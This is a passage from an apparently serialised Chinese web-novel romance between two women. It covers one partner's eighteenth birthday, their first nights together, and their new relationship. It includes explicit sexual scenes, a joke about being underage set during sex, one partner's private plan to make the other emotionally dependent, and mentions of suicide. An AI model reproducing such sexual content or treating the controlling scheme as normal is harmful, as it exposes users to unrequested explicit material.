姜悯才不打鸡蛋,一顿喵喵拳,先把周灵蕴揪过来打一顿。 她从来没看过周灵蕴手机,但她猜想两人浏览器书签内容是差不多的内容。 嗯,没错,有在偷偷努力,看了不少视频资料学习技巧。 两个人生日一直都是在家过,今年同样,朴实温馨的居家氛围,给对方唱生日快乐歌,亲手戴上生日帽,等待许愿完毕,吹灭蜡烛,分切蛋糕,趁其不备偷抹在对方鼻尖。 周灵蕴的生日愿望每年都一样——下一个生日还能跟姜悯一起过。 她很幸运,也深知自己的幸运,她的愿望全部实现了。 每年都是差不多的生日流程,饭后姜悯会自觉进厨房收拾。 洗碗机帮她省去不少麻烦,但灶台和桌面仍然需要手动清理,她如常做着家务,却神思游离,把自己又想得热烘烘。 然后呢,进卫生间洗澡,认真清洁过口腔内每一颗牙齿,出来抬头看眼钟表,心中不由一阵哀嚎,怎么才八点! 同样感到无所事事的,是沙发上搂着抱枕傻坐的周灵蕴。 时间确实还早,她不想显得自己太着急,抠抠手指,抓抓脑门,又揉揉后脑勺,“要不找个电影来看吧。” 姜悯“嗷”一嗓子,顺从挨去。 周灵蕴抓来遥控器,视频播放软件寻找高分电影,“爱情片?还是恐怖片?” “爱情片可能有接吻镜头,你想干嘛,我们看着看着就抱在一起亲吗?还恐怖片,你想吓唬我,让我‘啊’一声怪叫然后钻你怀里啊?” 姜悯一脸‘小学生’伎俩的不屑。 周灵蕴身体朝后栽倒在沙发,双腿弯曲,捂着肚子笑抽过去。 姜悯返回梳妆台,拿起护手霜,挤出一坨在手背,按涂开。 这个牌子的护手霜很好闻,她不想喷香水那显得太刻意,手背在颈间蹭蹭,就这样状似不经意沾染些香味好了。 姜悯回到客厅沙发,“没事,你想看就看吧,恐怖片也没关系,我不会被吓到的。” 周灵蕴立即挨靠过来,“变香了。” “护手霜啊。”姜悯理直气壮,“我之前搓抹布了,洗洁精多伤手。” “其实不用,你本来的味道已经很好闻了。” 周灵蕴刻意压低声线,“香香公主。” 姜悯顿觉羞臊,痛恨自己的多此一举。 她好奇怪,最近真的变得好奇怪! “不过……” 周灵蕴话锋一转,“我很喜欢。” 她飞快在姜悯脸颊啄吻一口,“姐姐为我精心烹调自己。”—— 作者有话说:迅疾菇菇菇菇菇 第74章 吃个水饱 已经是晚上十点了。 周灵蕴从卫生间出来, 盥洗台前仔细清洁过双手,擦干,镜里看了会儿自己, 又咧开嘴左右瞅瞅牙齿,倒了小半瓶盖的漱口水嘴里含着。 尽管她晚饭结束后再也没有过进食, 洗澡的时候刷牙也刷够了五分钟。 整整五分钟, siri帮忙计时,分秒不差。牙龈都要刷烂了。 漱口水在嘴里含了半分钟, 吐掉,产品介绍说无需再用清水漱口,周灵蕴不想让姜悯觉得自己太刻意,还是漱了。 可她又担心漱得太干净, 嘴不香了,只是胡乱漱一下。 漱个口,脑袋快转冒烟。 费劲。 “快点过来啊!”姜悯在客厅催促。她看林正英看上瘾了,一部接着一部。 周灵蕴深深叹了口气,“你自己看呗。” “那咋行, 我要等你一起。”姜悯拍拍身边位置, 等待周灵蕴入座才重新开始播放。 僵尸片本土恐怖元素拉满, 巧妙含蓄的中式幽默又轻松化解了压抑气氛, 姜悯这会儿倒是沉得住气,还有心思分析剧情和人物。 “十点了。”周灵蕴不自在咳嗽了声,“要不要休息啊?” 姜悯快速瞄眼墙壁挂钟, “急啥,明天又不用上班。” “就非得等到十二点吗?”周灵蕴幽幽。 姜悯侧首,她头顶似乎有蓝黑烟气升起,比电影里的女鬼怨气还深。 乐不可支, 姜悯手臂环住周灵蕴肩膀,左右摇晃,“咱们严谨一点嘛。” 周灵蕴脱力仰靠在沙发,行吧。 姜悯一开始只是随便找部电影打发时间,看着看着,真上头了,看连续剧似的,没完没了到处找资源。 周灵蕴歪靠在沙发一角,女人裹着薄毯,半边身体倾压过来,凉滑的长发流水般铺散开,周灵蕴抓起一把,手中把玩,丝绸的质感。 比她略高半个头的视角,周灵蕴垂着眼,看她从毯子里伸出一只手,对着电视,不住戳戳点点,觉得外面有点冷,又把胳膊缩回去,扬起素白的脸蛋,“给我盖着点。” 周灵蕴顺从伸手摆弄,能感觉到她此刻的舒适和放松,她依偎得更紧了。 “你好好哦——”姜悯脸蛋贴着周灵蕴胳膊蹭蹭,突如其来的感慨,“其实这样也蛮好。” 周灵蕴极其敏锐,捕捉到她话音中一点深夜带来的倦意,“什么叫这样,这样是哪样?” “每年的生日都可以在一起,不管是你的生日还是我的生日,只属于我们两个人的空间。吃完饭以后,我能像这样靠着你,我们窝在沙发上看电影,小猫贴在脚边睡觉。或者下楼散步,微凉的夜风吹拂在脸颊……” 平凡的幸福,像毛毛雨,温柔而节制,润物于无声。 周灵蕴视线定格在姜悯纤长如扇的睫毛,以及雪白秀挺的鼻尖,不自觉,勾起嘴角。 她的姐姐,内心充满了一种孩子的童真,她并没有感觉到她们之间明显的年龄差距。 姜悯有时甚至更像妹妹。 她的外表很年轻,心灵也是,是剔透的琉璃瓶,内里一览无余。 她也从不藏着掖着,她坦坦荡荡。 人的成长速度和生熟,其实跟年龄并不完全挂钩,周灵蕴十八岁的这个晚上,回顾她离家之后几年,社会跟学校里见过的一些人和事,都没有像姜悯这样的。 这样可爱漂亮,调皮有趣,值得世间一切美好的形容词。 当然,姜悯或许并不能称为世间绝顶,毕竟这地球上有大概80亿人呢。 厉害的太多了,漂亮的也太多了。 但爱是这样的东西,有这样的魔力,把普普通通的80亿分之一变成她心中唯一。 “我已经过完生日了。”周灵蕴等不及十二点的钟声敲响。 她开始动作,把虚搭在姜悯肩膀的一条胳膊抽出来,另一条胳膊也配合着,两手卡住姜悯咯吱窝,在学校挥惯锄头的一双手力气满满,轻而易举把姜悯在沙发上展平。 “我要亲你。”算是打过招呼,周灵蕴撑肘在上,拂开她腮畔散乱碎发,脸颊凑近。 起初,只是鼻尖相抵,周灵蕴格外中意她们呼吸交汇时,潮热气息贴面扩散开,通过皮肤渗透至肌理甚至骨髓时带来的酥麻感觉。 她不禁浑身发起抖,细密电流席卷,感觉姜悯也同样,会回馈她喉咙里溢出的低低哼吟。 然后是姜悯的唇。之前太紧张,太乱,都没好好亲过,周灵蕴鼻尖下滑,挨蹭着她唇瓣,若即若离,潮湿的鼻息也在滋养她,那热度在持续攀升,好像要化开,再不吃就流走了。 于是自然而然,两片嘴唇相贴,周灵蕴极富有耐心地吮食。 四肢平展着,姜悯大脑一片空白。 小时候在书本上看到的,种种奇妙感知竟有机会成真。 那些写小说的没有骗她。诡异的浮空感和下坠感并存,她如在云端。之前是她见识少了。 她手脚软绵绵使不上力气,矜持崩塌,想要更多,本能探出一点舌尖。 得到鼓舞的某人,愈发张狂,开始动用牙齿轻咬,渴望她流泄出更多美妙的音节。 不开灯的房间,电视屏幕里,林正英正举着桃木剑到处捉鬼,实在太吵了,周灵蕴百忙中摸出遥控器,按下关机键。 几秒后,电视熄屏,黑暗像一口大锅,猝不及防兜头而来。 姜悯明显瑟缩了一下,是衣摆被掀高,她腹部皮肤暴露在深秋与初冬交接清寒空气中,又经周灵蕴滚烫掌心点燃。 像面团。 小时候趁大人不在家,偷橱柜里的面粉,说要包饺子,冬天的火炉边,案板和面团都被烘烤得温热,那稀软的一摊到处流,却有一双手每次都能稳稳接住,阻挡颓势,归拢。 像烂面团的自己,姜悯猜想,周灵蕴应该是很喜欢的,不然怎么一直揉她个没完,还要上嘴吃,啄弄出声。 渐渐,双眼适应了黑暗,落地窗外星点灯火稍点亮视野,姜悯看到周灵蕴,黑影忽而拔高利索拽脱掉最后的阻碍,如此迅速。 凉风拂过腿弯,姜悯开始害怕。她紧张蜷缩起,忍不住惊恐瞪大眼睛。小火星跳来跳去,在腹与腿之间,每一次起落都让人无法预料。 跟自己玩耍时候的感觉不一样的,她脑瓜再聪明也无法做到未卜先知。 周灵蕴有尝试开启。最近几个月,教学资料看不少,她早就不是四年前那个啥也不懂的乡下妞了。 但有句老话怎么说,纸上得来终觉浅。 大概是不小心戳痛姜悯,她低低喊了声,周灵蕴飞快撤回,紧张得后背出汗。 赶忙俯身去哄,周灵蕴细声安抚,连说对不起,姜悯感觉她误会了,“我不是那个意思。” “嗯?”周灵蕴没听清。 “不是那个意思!”姜悯稍提高音量。 什么什么意思?周灵蕴迷糊。 她不敢胡来了,亲亲她脸,“好吧先等等。” 啊? 等等?等什么。 “等”字出口的瞬间,周灵蕴其实就反应过来了。她哪有那么笨,不是这个意思就是那个意思呗,还能是什么意思。 却不禁得坏心起,有意惩罚她之前的拖延。 姜悯耳边,周灵蕴沙着嗓,故作严肃,“有件事情,要跟你交待一下。” “什么事情?”姜悯清醒时候被牵着走都不是一次两次,更何况现在。 “其实我妈是凌晨三点生的我,所以我要凌晨三点才真正满十八岁,所以,我们现在做这个事情是不对的。” 周灵蕴话说完,往后撤了下。她猜想,姜悯要马上跳起来打她了。 周灵蕴的原始动机是帮助姜悯放松,也让自己能喘口气,她同样紧张。 然而,姜悯反应完全在她预料之外。 “求求你了。”手腕覆来温热,被一股柔弱的力道牵引着往下走。 姜黏黏,果然是人如其名。 周灵蕴倒吸一口凉气。她脑海中闪现过一些斑斓的影像,从中得到启发。 凡人弯曲了膝盖和脊背,卑微而虔诚的姿态领受神女赏赐的甘霖。 姜悯反馈是极好的,得到鼓舞,周灵蕴愈发得心应手。 吃个水饱。 灯亮,姜悯扯来毛毯盖住眼睛。是的,相比暴露的别处,她现在更想盖住自己红烫到快要燃烧的脸。 好羞人啊。 偏偏还有人不放过她,湿纸巾为她清理的同时,唠家常一样,“你刚喊得好大声。” 还好落地玻璃足够隔音,同个电梯层也没有别的住户了。 不知是空调风热度起来了,还是被清洁过的身体感受到干爽和舒适,姜悯懒得计较某人的毒舌,仍兀自沉浸,“唔”一声满足的喟叹,侧过身体,双腿曲折出曼妙的弧线,旁若无人尽情舒展自己。 这女人。 周灵蕴垂手站立在旁,还咕嘟冒泡的脑浆再次沸腾。 她还想。 小猫先前不知搁哪猫着,这会儿睡醒了,双腿前伸,压低身子伸个懒腰,又打了个大大的哈欠,慢吞吞走过来,跳上沙发。 周灵蕴扯开薄毯,盖住姜悯。 “没关系的。”姜悯招手把小猫叫过来,挠挠下巴,“她是女孩子。” “哦”一声,周灵蕴悻悻坐到一旁。 她想好好抱抱她的,在清洁完成后。可小猫突然来了,姜悯去摸小猫,跟小猫说话,都不理她。 跟猫吃醋,很无聊。 但就是醋。 凌晨一点,毫无睡意,周灵蕴在旁感到无所事事,干脆按开电视。 姜悯瞭她一眼,没言语,抓起茶几上一颗毛绒球丢远,小猫立即飞奔去追。 怀抱空出,她伸腿踢了下周灵蕴。 “干嘛?”周灵蕴回头,唇线平直冷淡,脸颊鼓鼓。 “你过来,有话跟你说。”姜悯勾手指。 周灵蕴嘟了下嘴,似乎十分勉强,身体却格外顺从倾向沙发上横卧的女人。 蛇般凉滑的手臂勾缠,她吐息温热,“去把灯关了,我还想来。” 第75章 第一天 晨起梦醒, 下意识伸手去摸隔壁,察觉到枕畔空空,被褥凉透, 姜悯瞬间心一沉。 随即,有浓郁肉粥香气钻进鼻端, 姜悯微抬起上身, 半睁眼分辨几秒,看到小猫在床尾睡得四仰八叉, 她才安心摔回枕头。 好,没事了,腰腹及小腿带来的强烈酸胀感提醒她,昨晚不是做梦。 记忆完整鲜活, 身体的感觉依旧强烈,余韵回荡,姜悯抓来周灵蕴躺过的枕头,四肢并用抱在怀里,深吸一口, 闻到专属于她的清浅香气混杂纺织品的馥醇气味, 顿觉满足。 “咦咦咦——”姜悯满床打滚, 空气里漂浮的欢欣跟随呼吸进入肺腑, 被身体完全吸收,她飘飘欲仙,幸福到无与伦比。 欲望鼓舞着贪婪, 不能满足。 可又不想表现得太刻意,显得她多需要她似的,姜悯扯脖发出一连串无意义怪声。 “啊呀呀呀。” “嗷呜!嗷呜!” “哇哈哈耶耶耶——” 周灵蕴赶忙关闭燃气,一路小跑回房。 “咋了咋了咋了……” 被里只露出双眼睛, 姜悯声音闷闷的,“你在干啥呢?” 周灵蕴老实,“煮饭呢。” “煮啥?”姜悯明知故问。 周灵蕴配合,态度端正,“肉粥,我想昨天睡得有点晚,吃得也荤,今天清淡些,来点小粥暖肠胃。” 姜悯“嗷”一声。她第一次谈恋爱,也不太清楚自己想要什么,但显然肉粥并没有在此刻让她感到满足。 只好一样一样去试。 “你几点起的?”姜悯问。 “八点多?快九点吧。”周灵蕴回。 姜悯:“现在几点了?” 周灵蕴:“快十二点。” 姜悯:“今天没课吗?” 周灵蕴:“对啊,你不是有我课程表。” 姜悯抱着枕头,床上打滚,“腰酸,我腰好酸。” 周灵甩甩胳膊,“我手也有点酸。” 她手托起自己两边下颌,“我嘴也酸,我起来以为下巴脱臼了。” 啊啊啊! 什么鬼! 姜悯滚来滚去啊滚来滚去,又生气又好笑。 “才哪儿到哪儿,你就下巴脱臼了,别太夸张啊我说。” “没脱臼,是差点。我以为。”周灵蕴老实巴交杵在那,木头桩子似。 姜悯闷在被子里不动。不是,都不是。 “你要不要再睡会儿?”周灵蕴安排她再睡半小时,“等你起来,粥也温了,正适口。” 温柔体贴,细致耐心,都好。 但都不是,不是! “我不高兴!”姜悯哗一下掀开被子,床面开始打挺,像菜市场被丢砧板上的活鱼。 她两条光光的大腿露出,那色泽通透光滑如品质绝佳的羊脂白玉,少少布料遮盖隐私,腰腹连带上身线条自然起伏,曼妙非常。 周灵蕴脑袋轰就热了。 但眼下情形,显然不适合欣赏,她赶紧扯来被子把姜悯包住,“你为啥不高兴啊?” 姜悯的回答是不知道,反正就是不高兴。 说完继续扑腾。 周灵蕴好笑又无奈,发现她力气还蛮大,只能倾身用自己把她压住,“是身体不舒服吗?” 她来了,很近,只隔着一床被子,镇压即刻见效,姜悯老实了些,歪头琢磨,“身体有一点点不舒服,但不是我不高兴的主要原因。” “那是什么原因呢?”周灵蕴忍不住亲了亲她的脸。 啊! 目光炯炯,姜悯只是一瞬不瞬盯着她的小孩姐。 忽而福至心灵,周灵蕴眨了眨眼,“你想让我抱抱你吗?” 昨晚她们后来回到床上,但湿纸巾被遗忘在客厅,周灵蕴记得很清楚,她在起身之际,被某姐用剪刀脚狠狠夹住了。 某姐哼哼唧唧,耍赖没完。 汗湿的皮肤粘黏在一起,彼此呼吸和体温交融,分离时,似乎拉扯出丝状的白色胶质。两具身体像本来就生长在一起。 “我没有啊。”姜悯一面欢喜,一面嘴硬。 “我没想抱,谁想抱了?”生怕被曲解意思把人赶走,又赶紧往回找补。 小孩姐这么聪明,可以领悟到她本意吧? 也坏,周灵蕴故意逗她,“你确定不用,那我走?” 手臂下意识收紧,姜悯环住她脖子。 周灵蕴好一阵笑。她掀开被子躺进去,紧紧拥住她柔软的身体,带清凉薄荷味儿的吻落在她腮畔,又沿颌角往下,颈窝徘徊。 难以自持,泄露出低沉婉转的音节,眼底水光泛滥,姜悯需求明显。 却在周灵蕴亲吻至她唇瓣时,她抽手惊惶捂住小嘴,“我还没刷牙!” “没关系。”周灵蕴声音变得喑哑。 “不行的——”姜悯慌里慌张往后撤,“没有刷牙。” 她好难为情! 周灵蕴服气栽倒。 “等我半分钟。”姜悯掀被火速爬起,奔向盥洗台。 周灵蕴简直是哭笑不得了。 她“欸”一声,“半分钟能刷得干净?我都是三到五分钟的。” 回应她的,只有电动牙刷持续嗡嗡声。 周灵蕴手肘撑额,视线随她而动。 好急啊她,什么也没穿,就一条米白色棉质内裤包裹着浑圆紧俏的臀,站也站不直,一边屁股翘得高高,展示。 蛮心机。 叹了口气,周灵蕴去姜悯衣柜里翻出一件睡袍。 去到姜悯身后,凉滑真丝面料包裹的同时滚烫手掌裹缠她细软腰肢,并无师自通往上五指呈抓握形态。 清水漱去口中白泡,洗脸巾快速擦了把,姜悯身体后仰,不由发出一声喟叹。 “啊——”低而长。 腾出一只手,周灵蕴扳过她脸,亲吻那冰凉的唇。 “检查一下,刷没刷干净。” 镜前,姜悯看到自己面颊迅速腾起粉红。 她从未发现,周灵蕴竟隐藏了如此强势霸道的一面,且极富技巧,手往她后腰一按,她就乖乖抬高了屁股。 台面溅落的水珠在忙乱间激凉皮肤,热的汩汩顺腿流,冰火交替,姜悯不禁大叫,手掌猛地拍按在镜柜,肩头长发摇晃不止。 这次周灵蕴有好好抱她,在结束后,耐心拍着她后背哄。 “怎么感觉像在哄小孩。”姜悯窝周灵蕴怀里笑。 她身体疲惫到极致,神经依旧亢奋,眼底装满星星。 “你不就小孩,幼稚得很。”周灵蕴忍不住亲亲她嘴角。 姜悯不满“哼”声,“谁规定长大以后就必须成熟懂事,这个世界就这么容不下我吗?我这种天真善良单纯的存在。” 周灵蕴抓来她手掌,虔诚贴在嘴唇,“你特别好,我不是指责,我很喜欢你这样。” 她是有点坏脾气,但谁还没个脾气了,她的纯质无邪,是世上独一份的存在。 周灵蕴喜欢姜悯的任性。让她感觉她们之间的距离并没有太远,她可以照顾到她,安抚到她的情绪,温暖她的心和胃。 如此,就不用太过自卑。 她对她来说,是有着一份重要价值的。 周灵蕴不会告诉姜悯,她心里还有一些超可怕的念头。 她对她,生活中无处不在的细致入微,情绪上的有求必应,只为惯坏她。 让她再也离不开她。 她对她的纵容,将是她此生再也无法从旁人身上获取的。 如此,不论将来发生什么,极致的落差感都会驱使她重新回到她身边。 《孙子兵法》源自春秋,《三十六计》则成书于明清,后来的编者将其汇总,制成一册。 周灵蕴私下钻研过。 这招叫什么呢?笑里藏刀吧。 亲够抱够,周灵蕴哄姜悯起床,“尝尝你那谁给你做的爱心早餐,还蒸了小包子呢,电饭煲里暖着。” 姜悯笑嘻嘻,两手搭在周灵蕴脖子,“那你抱我过去。” 周灵蕴没试过公主抱,不由抿唇,紧张捏捏拳头,“我先尝试一下。” 姜悯立即作罢,挥手,“算了,你胳膊肯定很酸了,别逞强。” “啊!我不酸!”周灵蕴红着脸,便伸手去扯她,“你挂我身上,我抱你过去,我肯定抱得动。” 姜悯成心使坏,“你自己摔了不要紧,你倒是年轻的,我一把老骨头可禁不住摔,别在一起第一天双双进医院就搞笑了。” 在一起? 周灵蕴敏锐捕捉到其中关键。 是她想的那个“在一起”吗?是两个人耍朋友那个在一起吗? 那更得抱了,她必须要证明自己的实力。 深吸气,沉气,周灵蕴下床,不由分说把姜悯打横抱起。 突如其来的失重感,姜悯惊呼一声,赶忙搂紧周灵蕴脖子。 周灵蕴起先谨慎,后来发现这真不是什么难事。 她轻轻松松的,抱姜悯到客厅不放,脚下打个旋,调头每个房间都溜达一圈。 小猫跟在人脚边,蹦蹦跶跶,也可高兴。 “哎呦,瞧给她狂的。”姜悯笑个不停。 回到最初目的地,周灵蕴弯腰,把姜悯轻放在沙发,“告诉俺奶,俺不是孬种。” 姜悯再次勾住周灵蕴脖子,迫使她弯腰,用力一口“吧唧”在脸颊。 紧贴着人坐下,周灵蕴略略平复气喘,想到接下来要说的话,心脏再次激跃起来。 “就刚刚……我抱你过来之前,你说这是我们在一起的第一天,我没有听错吧。” 姜悯撑腮,笑容玩味。 “在一起,是指谈恋爱的那种在一起吗?” 知道她肯定不会轻易说出口,还要坏心眼戏耍一番,周灵蕴没指望她立即给出答案。 却在意料之外。 “那不然呢?”姜悯忽而拔高音调,“把我睡了!不想认账啊!” 欸,这人什么话。“你没睡我呐?”周灵蕴皱皱鼻子,盯她。 “你没摸我呐?没亲我呐?” “那你问个屁。”姜悯迅速抓来抱枕,盖住红透的脸颊。 “就问就问……”周灵蕴俯身抱她,丢开抱枕,同她脸贴脸,“欸欸,咋回事,好烫哦。” 第76章 姜阿姨的小女朋友 回顾过去小半生, 姜悯自认最为放纵的一个阶段,是高考结束后的那个暑假。 她在网吧包了台机子打游戏,每晚九点准时到岗, 晨六点结束,连去了一个月。 她的机子在包间, 她的包间白天段也不许人用, 她花了钱,于是网管专门在门上安了锁, 以免“闲杂人等”误闯,弄脏她的鼠标键盘。 阿姨十点给她送宵夜,守着她吃完,担心她的安全, 夜里也不走,自己带个小毯子,熬不住就蜷沙发上睡,或用另外一台机子看连续剧。 姜悯认为她在“叛逆”,迟来的叛逆。 谷香岚女士听说, 却只担心她熬夜对身体不好, 后来听阿姨说她白天有补觉, 精神状态瞧着也还行, 就没管。 姜悯最后一次从网吧出来,是八月上旬某个阳光灿烂的日子。她在网吧睡着了,从凌晨三点睡到早上十点。 那天阿姨有事请假回家, 她独自一人,摇摇晃晃走到大街上,抬眼看见头顶的太阳,对眼前的世界忽感觉一片陌生。 她像一只误闯到人类世界的鼹鼠, 退化的眼睛,脆弱的皮肤,她的身体本能抗拒这世界鲜亮的一切,急忙躲到树荫下,手掌按压住自己疯狂跌宕的胸腔。 家人生意忙,常年不在身边,唯一的朋友也永久长眠地下…… 高考结束,任务完成,再也没有什么事情是必须要做。似一缕游魂世间茫然行走,那段人人盼望已久的清闲日子,姜悯只觉难捱。 怎么还不开学,除了上学,她还能做什么? 学校每年都有人自杀,投河的,跳楼的,喝农药的,走廊全用不锈钢围栏封起来,学生像住在监狱里。 高考前半年,姜悯几乎每晚都梦到黎双。 花园里摆了一架钢琴,少女背身而立,长发柔顺披散双肩,白裙随风轻摆。她朝她走去,叫她“双双”,她转身,血肉模糊的一张脸,像个烂番茄。 不去网吧了,姜悯每天家里蹲,跟阿姨一起看剧,谷香岚女士又担心她老这么窝着,缺乏运动对身体不好。 “你担心我就带我去运动,你为什么不回来陪我?”姜悯又一次在电话里问,忍无可忍了。 “妈妈工作忙,这边厂子离不开人……”谷香岚回,一句接一句叹。 黎双死后,家人有阵日子是把她当个钥匙扣似挂裤腰带上,走哪儿都带着。 后来觉得她没事,又松懈了,只叫住家阿姨陪着,每天打电话汇报。 这种情况持续了好几年,大三那年姜悯终于等到家人忙完,回到身边,但她发现自己已经习惯一个人了。 独处是一门高深的学问,姜悯认为自己一直领悟并执行得很好。 是从哪天开始?她再也难以忍受寂寞,孤灯挑尽。 姜悯闭上眼睛,回忆的沙滩上走走停停,日光下,一片嶙峋的礁石堆里,什么东西在闪闪发亮,她加快脚步走去…… “张开嘴巴。”耳边甜脆的少女声线。 姜悯依言,绽开血盆巨渊。 冰凉凉,圆溜溜,她闭口咀嚼,清甜果汁迸溅口腔,沁凉舒爽。是葡萄。 身边位置塌陷下去,姜悯睁开眼睛。 她看到了,沙堆里闪闪发亮的那个东西,是周灵蕴的眼睛。 从她们第一次见面,她就记住了这双眼睛。 极致的曜黑,坚韧而倔强,又充满柔情,像春潮涨落的湖水,倒映着一个永不凋谢的春天。 太美了。 终于,姜悯终于反应过来。 原来真正吸引她的,掀起她心灵巨震的,是周灵蕴这双清明澄澈的眼。 是她用尽手段,强取豪夺,恃强凌弱,还自欺欺人扮演着施恩的那一方,索求无度。 “想什么呢?”周灵蕴往自己嘴里也塞了颗葡萄,快乐嚼。 咽下口中食物,姜悯深吸一口气,摇头。 复杂,难讲,还挺破坏气氛。但她有在学着用成年人的方式对待周灵蕴,这是周灵蕴昨晚对她的“请求”。 小孩姐威逼利诱,不答应就不给她,说不让她爽。牛不喝水强按头。 姜悯大为震惊,偏偏箭在弦上不得不发,毫无办法,只得应下。 “想起我高考结束后那个暑假,在网吧包夜打了一个月的游戏,好堕落,好放纵。” 她刚才确实在想这事儿,只是隐藏了下半部分。姜悯认为不算撒谎。 “那你很爱玩游戏喽?”周灵蕴打听姜悯都玩些什么,得到答案后,拧眉思索几秒,“断断续续,玩了有十年了吧?怎么还是那么菜。” 姜悯张口,无言。 你说她天真,她确实没起疑心,可那张嘴是跟谁学得那么刺? “我……”姜悯不服气,“玩游戏输赢很重要吗,重点难道不是在打发时间,放松身心。” “可我感觉你胜负欲还是蛮强的。”周灵蕴倾身把果盘搁在茶几,“比如现在。” 姜悯气笑了,“你污蔑我,还不许我反驳?” “我污蔑你了吗?”周灵蕴抓来手机,“来来上号。” 姜悯腾地弹起,“来就来。” 连续三把负战绩,姜悯甩了甩不良姿势导致发麻的手臂,“我是还不能习惯手游的操作,也没有你那么激进。” 周灵蕴确实激进,新脑瓜也是真好使,几乎把把MVP,并被大家亲切称誉为“人头狗”。 姜悯不服气是真的,但周灵蕴数次救她于危难,她丝血仓惶寻草丛回城时,感激也是真的。 “好厉害好厉害好厉害好厉害……” 抬头看眼钟表,周灵蕴瞧着时间差不多,说她不玩了,“我做饭去。” 是行事果决,且执行力超群的J人。 姜悯丢开手机,躺尸沙发,美美等饭。小猫凑来她跟前,湿漉漉的小鼻子碰碰她手,要跟她玩。 “你想我啦——”姜悯给小猫挠挠下巴。 小猫肚子里好像有一辆摩托车,“呼噜呼噜”响个不停,享受够了,扭头用屁股对着人,挪蹭几下,走开。 姜悯抓起手机,点开历史战绩,十连胜了。 她截图保存,随后朋友圈编辑文字:[女朋友太厉害啦,带我飞。] 姜老板谈恋爱了,朋友圈相熟不相熟的,纷纷点赞,并留言恭喜,祝99。 谷香岚女士立即发来消息。 [你谈恋爱了?] [跟谁?] [不会是小蕴吧。] 还有表姐秦穗,春梅阿姨,几个关系较为要好的大学同学…… 消息轰炸,姜悯只回复了舒颖。 [嗯。] [说起来,要谢谢你。] 确实有起到一个推波助澜的作用。 [不用谢,只是等不及了。] 舒颖回。 姜悯不明所以。 [等什么?] [眼看她起高楼,眼看她楼塌了。] [看你如何……] 舒颖并未言明。 [你好坏。] [还很贱。] [你嫉妒我。] 姜悯拳头攥紧了。 [不然我们怎么会成为朋友呢?] 舒颖丝毫不恼,发来一串面带红晕笑脸表情。 欸?有道理。姜悯不禁笑出声。 [大概吧。] [人类的悲喜并不相通。] [至少我现在很幸福。] 超级无敌幸福。 [而且我们性生活超和谐的。] 姜悯耀武扬威。 周灵蕴在厨房,刚把米蒸上,跟姜悯的聊天记录里找之前分享过的菜谱,瞧见朋友圈熟悉的头像带着小红点,好奇戳进去,看完出来嘴角就压不住了。 洗干净手,一双眼笑眯,周灵蕴拖着步子慢吞吞挪去客厅,姜悯身边屁股猛一沉,“你干嘛不当面跟我说。” “说啥?”姜悯一脸懵懂,装傻。 “我啊,我啊!”周灵蕴上下那么颠,指着自己鼻尖,“我是谁?” “你是周灵蕴。”姜悯眨巴眨巴眼睛,伸手在她面前晃晃,“傻了,失忆了?” 周灵蕴深吸气,“我是你的谁。” “你是我的优乐美。”姜悯强憋笑,“一年卖出三亿杯,杯子连起来可绕地球一圈。” “不要当优乐美!”周灵蕴大叫,“你重新说。” “你是我的情人,像玫瑰花一样的女人……”姜悯学她,莫名其妙开始唱歌。 周灵蕴气笑不得,手臂圈住她脖子,“哎呀哎呀”那么晃,“姐姐,好姐姐,求求你了。” 姜悯说不出口,就是说不出口,才选择发朋友圈让她看。 “你不识字呐,你不会自己读。” 啊?是这样吗? 周灵蕴掏出手机,再次点进朋友圈,两眼眯成条缝,同她脸蛋贴着脸蛋,“哎呀呀,眼睛进沙子看不清字,姐姐你帮我读一下。” 姜悯有样学样,“年纪大,老花了,俺也不中嘞。” 这女的,真是…… 周灵蕴稍拉开些距离,同时把手机拿远,眼睛睁得大大,“咦,突然痊愈了,重见光明了。” 她捏着嗓,模仿姜悯当时语气,“我女朋友太厉害啦,带我飞,飞喽,飞喽飞喽……” 又开始唱歌,“想飞上天,与太阳肩并肩。” 姜悯笑得东倒西歪,捏起拳头,连捶周灵蕴数十下,“你有病呀!” 她后知后觉的羞耻心,“给我闭嘴。” “你说老花的嘛,我才念你听。” 还没有结束,周灵蕴煞有其事点开配图,两指滑动放大,“咦?这个叫‘猫大王’的,怎么跟我撞ID啦。” 她得意摇头晃脑,“不会吧,不会吧,不会那么巧就是我吧。” 可恶可恶,好可恶。 姜悯抢走周灵蕴手机,熄屏丢在沙发,纵身扑去,“你好讨厌,好坏,你变了,你不再是当初那个老实巴交的乡下妹了!” 她手团住周灵蕴两边腮帮,使劲揉搓,“坏小猫,抓沙发的坏小猫。” “对啊对啊对啊……”周灵蕴连声,“我不是老实巴交的乡下妹了,是姜阿姨的小女朋友。” “你再一声阿姨试试呢?”姜悯拳头举高。 第77章 炒完我又要去炒菜 平躺在沙发, 眼前是被晚霞晕染成黄白暖调的天花板吊顶,姜悯默默想着,她目前人生中最为放纵的一个阶段, 被覆盖掉了,不是高考结束后的那个暑假了。 是周灵蕴成年生日后的这三天。 [醒来就开始做。] [然后吃饭, 看剧。] [看着看着突然开始做。] [做完休息, 继续吃饭。] [要么就打游戏……] 姜悯还没讲完,小键盘正在输入状态, 舒颖新消息跳进对话框。 [打着打着突然开始做。] [是吧?] 附带面无表情Emoji笑脸。 姜悯大笑。这表情看起来真的很不爽欸! 死女人,装货,终于还是被她整到了吧。 [对啊,她精力实在旺盛。] [啊, 这就是女大吗?] [颖姐,你以前吃这么好啊。] [为什么不告诉我?] [自私鬼。] 舒颖丢来一串敷衍的省略号。 姜悯没完没了。 [而且她竟然还有精力做饭!] [我都说点外卖吃啦。] [她说外卖不好吃不卫生。] [确实,女大炒菜水平相当哇塞。] [各方面的“炒菜”水平。] 舒颖没回,姜悯捧着手机等了两分钟,问人家为什么不说话。 [听你说。] 舒颖惜字如金。 [我说完了。] 姜悯道。 [好的。] 舒颖极其冷漠。 姜悯抓抓脑门, 往上翻了几页聊天记录, 单方面持续输出确实有些不礼貌。 [你呢, 这几天过得怎么样。] [心情如何。] 是个好朋友关心体贴的意思。 那边大概确实有被安抚到, 聊天框顶端显示正在输入。 姜悯忽又想起什么。 [我现在希望她赶紧回学校。] [太累了,真的太累了。] [我下面都要做冒烟了。] 舒颖没动静了。 [疑问][疑问][疑问] 姜悯挠头。 舒颖发来踹狗表情,图配三字——去死吧。 [肿么了。] [好朋友?] 姜悯犯贱没完, 恰在此时,门响,是周灵蕴买菜回来了。丢开手机,胡乱趿上拖鞋, 姜悯飞奔至门前,在门启的瞬间飞扑而去。 “哎呦!”周灵蕴不防,被撞得趔趄,手拉门框才堪堪站稳。 